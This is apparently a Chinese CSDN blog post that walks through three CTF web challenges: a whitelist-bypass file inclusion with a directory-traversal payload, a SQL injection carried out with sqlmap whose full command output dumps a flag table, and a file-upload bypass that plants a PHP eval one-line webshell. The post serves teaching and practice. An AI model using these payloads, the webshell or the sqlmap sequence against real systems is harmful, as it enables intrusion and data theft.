攻防世界Web “warmup、NewsCenter、upload1”题解

最新推荐文章于 2024-05-18 20:54:16 发布
最新推荐文章于 2024-05-18 20:54:16 发布
阅读量3k 收藏 6
点赞数 3
文章标签： web安全 php 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_53325209/article/details/124410851
版权

Web安全

周记（5）

—题解

文章目录

前言

三题均来自攻防世界WEB高手进阶区。

一、知识补充

①输出关于 PHP 配置信息的命令：

<?php phpinfo();?>

②PHP一句话木马：

<?php @eval($_POST[a]); ?>

③sqlmap中的命令：
POST请求指定参数注入：

sqlmap -u http://111.200.241.244:58877 --data "search=df"

获取指定数据库信息：

sqlmap -u http://111.200.241.244:58877/ --data "search=df" -dbs

获取指定数据库下的所有表的信息：

sqlmap -u http://111.200.241.244:58877/ --data "search=df" -D news --tables

获取指定数据库下指定表的所有字段：

sqlmap -u http://111.200.241.244:58877 --data "search=df" -D news -T secret_table --columns

获取指定数据库下指定表的指定字段的所有信息：

sqlmap -u http://111.200.241.244:58877/ --data "search=df" -D news -T secret_table -C "fl4g" --dump

④mysql数据库结构：

数据库~网站~数据库用户
表名
     列名
           数据

二、做题

1.warmup

题目描述：

题目来源： HCTF 2018
在这里插入图片描述

解题思路：

常规思路，先打开页面源代码。
在这里插入图片描述发现可疑的<!--source.php-->，随即构造payload查看。
在这里插入图片描述发现PHP源代码，和可疑的hint.php，构造payload查看。
在这里插入图片描述由页面提示，猜测ffffllllaaaagggg是flag文件名。
接着进行代码审计。

 <?php
    highlight_file(__FILE__);
    class emmm//定义一个emmm类。
    {
        public static function checkFile(&$page)//定义一个checkFile函数。
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//定义了白名单列表。
            if (! isset($page) || !is_string($page)) {//isset()判断变量是否声明；is_string()判断变量是否是字符串。
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {//第一次检测传进来的值是否匹配白名单列表$whitelist。
                return true;
            }

            $_page = mb_substr(//第一次过滤问号(如果$page的值有？ 则从?之前提取字符串)。
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {//第二次检测传进来的值是否匹配白名单列表$whitelist。
                return true;
            }

            $_page = urldecode($page);//url对$page解码。
            $_page = mb_substr(//第二次过滤问号。
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {//第三次检测传进来的值是否匹配白名单列表$whitelist。
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])//要求file变量不为空。
        && is_string($_REQUEST['file'])//要求传进来的值是字符串类型。
        && emmm::checkFile($_REQUEST['file'])//将值传到emmm类里面的checkFile函数。
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

因此cehckFile函数总共进行了 3次白名单检测、 2次问号过滤、1次URL解码。
构造payload的思路为：file进入checkFile函数先经历第一次白名单验证和一次问号过滤，之后就是hint.php，然后再进行一次白名单验证 ，返回为真，所以过程需要将目录回退四次，则达成条件执行include函数得到flag。
所以构造新的payload：

http://111.200.241.244:50880/index.php?file=hint.php?../../../../../ffffllllaaaagggg

在这里插入图片描述

最终可获得flag为flag{25e7bce6005c4e0c983fb97297ac6e5a}。

2.NewsCenter

题目描述：

题目来源： XCTF 4th-QCTF-2018
在这里插入图片描述

解题思路：

只有一个输入框，尝试使用SQL注入：1' union select 1,2,3#。
在这里插入图片描述此时发现2,3处的确有注入点，随即使用sqlmap工具进行SQL注入。
先用sqlmap -u http://111.200.241.244:58877 --data "search=df"命令，获取注入点。


D:\sqlmap\sqlmap-master>python sqlmap.py -u http://111.200.241.244:58877 --data "search=df"
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.3.19#dev}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:05:59 /2022-04-25/

[17:05:59] [INFO] testing connection to the target URL
[17:05:59] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:05:59] [INFO] testing if the target URL content is stable
[17:06:00] [INFO] target URL content is stable
[17:06:00] [INFO] testing if POST parameter 'search' is dynamic
[17:06:00] [WARNING] POST parameter 'search' does not appear to be dynamic
[17:06:00] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable
[17:06:00] [INFO] testing for SQL injection on POST parameter 'search'
[17:06:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:06:00] [WARNING] reflective value(s) found and filtering out
[17:06:01] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[17:06:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:06:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:06:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[17:06:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[17:06:02] [INFO] testing 'Generic inline queries'
[17:06:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[17:06:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[17:06:03] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[17:06:03] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:06:13] [INFO] POST parameter 'search' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:06:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:06:26] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:06:26] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:06:26] [INFO] target URL appears to have 3 columns in query
[17:06:27] [INFO] POST parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 58 HTTP(s) requests:
---
Parameter: search (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=df' AND (SELECT 9308 FROM (SELECT(SLEEP(5)))qSnW) AND 'fMwN'='fMwN

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: search=df' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7171,0x484a66556b49525552635047527944457953756747506444764d50526f76666a52544273664c7748,0x717a787071)-- -
---
[17:06:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[17:06:33] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 26 times
[17:06:33] [INFO] fetched data logged to text files under 'C:\Users\熙、味\AppData\Local\sqlmap\output\111.200.241.244'

[*] ending @ 17:06:33 /2022-04-25/

再用sqlmap -u http://111.200.241.244:58877/ --data "search=df" -dbs命令，获取数据库信息。

D:\sqlmap\sqlmap-master>python sqlmap.py -u http://111.200.241.244:58877/ --data "search=df" -dbs
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.6.3.19#dev}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:14:02 /2022-04-25/

[17:14:02] [INFO] resuming back-end DBMS 'mysql'
[17:14:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=df' AND (SELECT 9308 FROM (SELECT(SLEEP(5)))qSnW) AND 'fMwN'='fMwN

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: search=df' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7171,0x484a66556b49525552635047527944457953756747506444764d50526f76666a52544273664c7748,0x717a787071)-- -
---
[17:14:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[17:14:03] [INFO] fetching database names
[17:14:03] [WARNING] reflective value(s) found and filtering out
available databases [2]:
[*] information_schema
[*] news

[17:14:03] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[17:14:03] [INFO] fetched data logged to text files under 'C:\Users\熙、味\AppData\Local\sqlmap\output\111.200.241.244'

[*] ending @ 17:14:03 /2022-04-25/

接着用sqlmap -u http://111.200.241.244:58877/ --data "search=df" -D news --tables命令，获取 news 数据库内表的信息。

D:\sqlmap\sqlmap-master>python sqlmap.py -u http://111.200.241.244:58877/ --data "search=df" -D news --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.6.3.19#dev}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:16:48 /2022-04-25/

[17:16:48] [INFO] resuming back-end DBMS 'mysql'
[17:16:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=df' AND (SELECT 9308 FROM (SELECT(SLEEP(5)))qSnW) AND 'fMwN'='fMwN

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: search=df' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7171,0x484a66556b49525552635047527944457953756747506444764d50526f76666a52544273664c7748,0x717a787071)-- -
---
[17:16:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[17:16:48] [INFO] fetching tables for database: 'news'
[17:16:48] [WARNING] reflective value(s) found and filtering out
Database: news
[2 tables]
+--------------+
| news         |
| secret_table |
+--------------+

[17:16:48] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[17:16:48] [INFO] fetched data logged to text files under 'C:\Users\熙、味\AppData\Local\sqlmap\output\111.200.241.244'

[*] ending @ 17:16:48 /2022-04-25/

然后用sqlmap -u http://111.200.241.244:58877 --data "search=df" -D news -T secret_table --columns命令，获取 news 数据库下 secret_table 表内的字段信息。

D:\sqlmap\sqlmap-master>python sqlmap.py -u http://111.200.241.244:58877 --data "search=df" -D news -T secret_table --columns
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.6.3.19#dev}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:18:41 /2022-04-25/

[17:18:41] [INFO] resuming back-end DBMS 'mysql'
[17:18:41] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=df' AND (SELECT 9308 FROM (SELECT(SLEEP(5)))qSnW) AND 'fMwN'='fMwN

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: search=df' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7171,0x484a66556b49525552635047527944457953756747506444764d50526f76666a52544273664c7748,0x717a787071)-- -
---
[17:18:41] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[17:18:41] [INFO] fetching columns for table 'secret_table' in database 'news'
[17:18:41] [WARNING] reflective value(s) found and filtering out
Database: news
Table: secret_table
[2 columns]
+--------+------------------+
| Column | Type             |
+--------+------------------+
| fl4g   | varchar(50)      |
| id     | int(10) unsigned |
+--------+------------------+

[17:18:41] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 1 times
[17:18:41] [INFO] fetched data logged to text files under 'C:\Users\熙、味\AppData\Local\sqlmap\output\111.200.241.244'

[*] ending @ 17:18:41 /2022-04-25/

最后用sqlmap -u http://111.200.241.244:58877/ --data "search=df" -D news -T secret_table -C "fl4g" --dump命令，获取 news 数据库下 secret_table 表内 fl4g 字段内容。

D:\sqlmap\sqlmap-master>python sqlmap.py -u http://111.200.241.244:58877/ --data "search=df" -D news -T secret_table -C "fl4g" --dump
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.3.19#dev}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:20:26 /2022-04-25/

[17:20:27] [INFO] resuming back-end DBMS 'mysql'
[17:20:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=df' AND (SELECT 9308 FROM (SELECT(SLEEP(5)))qSnW) AND 'fMwN'='fMwN

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: search=df' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7171,0x484a66556b49525552635047527944457953756747506444764d50526f76666a52544273664c7748,0x717a787071)-- -
---
[17:20:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[17:20:27] [INFO] fetching entries of column(s) 'fl4g' for table 'secret_table' in database 'news'
[17:20:27] [WARNING] reflective value(s) found and filtering out
Database: news
Table: secret_table
[1 entry]
+--------------------------+
| fl4g                     |
+--------------------------+
| QCTF{sq1_inJec7ion_ezzz} |
+--------------------------+

[17:20:27] [INFO] table 'news.secret_table' dumped to CSV file 'C:\Users\熙、味\AppData\Local\sqlmap\output\111.200.241.244\dump\news\secret_table.csv'
[17:20:27] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[17:20:27] [INFO] fetched data logged to text files under 'C:\Users\熙、味\AppData\Local\sqlmap\output\111.200.241.244'

[*] ending @ 17:20:27 /2022-04-25/

最终成功获得flag为QCTF{sq1_inJec7ion_ezzz}。

3.upload1

题目描述：

在这里插入图片描述

解题思路：

先尝试上传任意文件。在这里插入图片描述发现题目要求必须是图片文件，猜测可能是文件上传漏洞，先提前在一个jpg文件里编辑好一系列可能触发漏洞的php命令：显示php配置、一句话木马。

<?php phpinfo();?><?php @eval($_POST[a]); ?>

在这里插入图片描述然后进行文件上传，此时上传的是jpg格式，目的是为了绕过过滤。
但为了让php命令执行，需要在上传时进行抓包，并将“111.jpg”改成“111.php”。
在这里插入图片描述放包后，页面提示上传成功。
在这里插入图片描述紧接着，构造payload，通过返回页面显示php配置信息，验证了php命令已成功执行。

在这里插入图片描述连接中国蚁剑，配置URL地址和密码。
URL地址：http://111.200.241.244:51440/upload/1650899544.111.php
密码：a

在这里插入图片描述
进入页面，发现flag.php文件。
在这里插入图片描述打开即可获得flag：cyberpeace{1dc58753145929012a884577c6888f61}。
在这里插入图片描述

总结

以上就是本周主要题解内容，主要涉及文件上传漏洞语句（PHP一句话木马、PHP配置信息命令）、sqlmap中的一系列命令（POST请求指定参数注入、获取指定数据库信息、获取指定数据库下的所有表的信息、获取指定数据库下指定表的所有字段、获取指定数据库下指定表的指定字段的所有信息）、PHP代码审计、SQL注入等知识点，和中国蚁剑、burpsuite、sqlmap等工具的使用。

bright flavor
关注
  • 3
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[CTF题目总结-web篇]攻防世界-warmup
T2hunz1
01-10 7604
[CTF题目总结-web篇]攻防世界-warmup
攻防世界-warmup详解
wwxxss
11-10 2188
warmup详解
攻防世界-file_include
m0_49025459的博客
12-18 6807
对于我这种编码能力差的小白，我直接就是一个一个手测，然后呢，发现?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=check.php好使，但是没有flag。读题我们发现我们需要去读取./check.php中的数据，我们尝试用伪协议进行读取，接下来构造payload。文件包含漏洞也是一种“注入型漏洞”，其本质就是输入一段用户能够控制的脚本或者代码，并让服务器端执行。通过阅读php代码，我们明显的可以发现，这个一个文件包含的类型题。
攻防世界---web---NewsCenter
最新发布
2201_75556700的博客
05-18 354
5、查询列数，查3列的时候，没有报错，再查4列的时候，报错了，所以有三列。6、使用联合查询查数据库名，数据库名为news。4、接着判断注入类型，说明存在字符型注入。8、查secret_table中的字段名。2、打开链接，类似于一个搜索新闻的界面。3、因为有文本框，所以尝试注入。试着搜索第一条新闻hello。9、查fl4g字段中的值。
攻防世界-web高手进阶篇-warmup
热门推荐
qq_42016346的博客
02-06 1万+
打开题目链接后只有一个滑稽??（那就看看它里面有啥吧） 想啥呢，是审查源码啦 可以看到有注释source.php，访问后可以看到其源码 又发现一个hint.php文件，先访问再说 提示我们flag在ffffllllaaaagggg里面，此时题目已经完成一半啦 接着看回source.php源码 可以看到最后的include 是可以动态构造参数的，那应该就是解题关键了 不...
WEB_HCTF_2018_WarmUp
Pz_mstr's Blog
03-06 633
Categories web-代码审计 write up source code get source code http://eb22847d-9f8a-4ecf-b972-5ecebfcf5faf.node3.buuoj.cn/source.php <?php highlight_file(__FILE__); class emmm { publi...
newscenter_app
02-20
使用异步Web抓取脚本，每3小时更新一次新闻报道。特征从顶级主流媒体网站的首页显示15个热门新闻头条。 单击每个标题将使用户链接到实际文章。未来的改进添加其他新闻站点以进行更多样化的比较添加下拉菜单，允许...
Python库 | newscenter-1.6.3.tar.gz
05-19
资源分类：Python库 所属语言：Python 资源全名：newscenter-1.6.3.tar.gz 资源来源：官方 安装方法：https://lanzao.blog.csdn.net/article/details/101784059
Python库 | newscenter-2.0.23.tar.gz
04-12
资源分类：Python库 所属语言：Python 资源全名：newscenter-2.0.23.tar.gz 资源来源：官方 安装方法：https://lanzao.blog.csdn.net/article/details/101784059
PyPI 官网下载 | newscenter-2.0.4.tar.gz
01-14
在Python的世界里，PyPI（Python Package Index）是最重要的资源库，它为全球的开发者提供了一个集中地，可以发布、分享并下载Python模块、库和其他可重用代码。"newscenter-2.0.4.tar.gz"这个压缩包正是PyPI上一个...
NewsCenter
06-23
**1. ASP技术** ASP（Active Server Pages）是微软开发的一种服务器端脚本环境，用于创建动态网页或Web应用程序。在ASP中，开发者可以使用VBScript或JScript编写脚本，服务器端执行这些脚本并返回HTML到客户端浏览器...
攻防世界CTF题：upload1
Aixwei的博客
04-11 990
发现这里有个onchange事件，大概写了个前端的文件check，那我们在前端把它删掉再上传文件试试。发现了 disabled属性，我们把它删掉之后上传按键可以点击了，此时点击上传，可以看到上传成功。细看当前页面，发现上传按钮灰掉了，但是上传的文件还保留在前端并没有删除，此时再查看前端代码，最后，通过上传图片类型的木马，再通过bp抓包修改后缀绕过前端验证也是可以的成功。发现这里弹窗提示你要上传图片，可能是前端验证文件格式，所以先看一下源代码，我们先正常上传一句话木马，被拦截后点击确定，
攻防世界：upload1
bjml_的博客
11-06 697
攻防世界：upload1
[HCTF 2018]WarmUp 1 【文件包含漏洞】
weixin_38832257的博客
08-17 2143
题目简介 题目名称：[HCTF 2018]WarmUp 1 题目平台：BUUCTF 题目类型：Web 考察知识点: 代码审计 本地文件包含漏洞 解题步骤 启动并访问靶机，前端只有一个滑稽的表情 右击或F12审计一下代码，可以看到source.php，我们访问一下该页面 source.php内容如下。 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&amp
攻防世界-Web进阶区-warmup题解
Jollowin的博客
11-26 788
warmup题解 我们进入到题目界面会看到一张猥琐的笑脸，假装没看到他直接按F12。 这里我们发现了一条线索：source.php。 好家伙，那我们不妨到source.php看一看： 进行代码审计，初步发现我们可以提交一个名为file的变量，若变量file的值为source.php或hint.php则会执行include $_REQUEST[‘file’]。 那我们不妨令file=hint.php看一看。 1.如上图我们发现底部出现了一行提示，那我们现在的目的就变成了让 include $_REQUE
xctf攻防世界 upload1
m0_71282722的博客
05-08 200
此时将木马文件后缀改为jpg，一会再用bp改过来。查看flag.php 找到flag。第二种上传方式：使用bp绕过。第一种：前端绕过，删除约束。此时能上传php文件了。
攻防世界-WEB-upload1
Lucifer的专栏
09-09 310
必须上传图片，F12审计一下代码。得到上传成功的文件，请求文件名。get成功，证明文件已经上传。一句话木马，使用菜刀连接。通过bp修改文件类型。
buuctf web warmup详细题解
weixin_64160292的博客
03-31 3054
题目：warmup 题目来源：buuctf 分析过程： 1. 首先ctrl + u 查看源代码，我们发现有一个source.php文件 2. 我们打开source.php文件，是一段代码，这道题要我们代码审计。 3. 与source文件相似的hint.php文件我们也打开看一下，它说flag在ffffllllaaaagggg中。 正在上传… 4. 然后回来source.php看这段代码，通过上网查询关于php的函数的用法。然后审计代码得出，...
攻防世界-misc-warmup题解
weixin_45876341的博客
11-06 1279
攻防世界-misc-warmup
攻防世界 newscenter
09-08
攻防世界的NewsCenter是一个基于React构建的前端应用程序，它提供了实时版本的背景和概述，展示了当前主流媒体如何报道当下的主题。你可以通过查看CNN、Fox News、NBC、NYTimes和Huffington Post主页上的精选文章来了解更多信息。此外，NewsCenter还涉及到CTF（Capture The Flag）比赛和SQL注入攻击的内容。在这个应用程序中，有两个表，分别是news和secret_table，我们需要从secret_table表中找到flag（标志）。通过构造SQL语句，并利用搜索（search）功能，我们可以使用union select和group_concat函数来获取所需的信息。最后，通过执行以下SQL语句search=-1' union select 1,version(),group_concat(fl4g) from secret_table --，我们可以得到flag的值为QCTF{sq1_inJec7ion_ezzz}。这是一个CTF比赛中的一个关卡，攻防世界的NewsCenter也是为了帮助新手了解和学习Web安全而创建的。<span class="em">1</span><span class="em">2</span><span class="em">3</span>

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值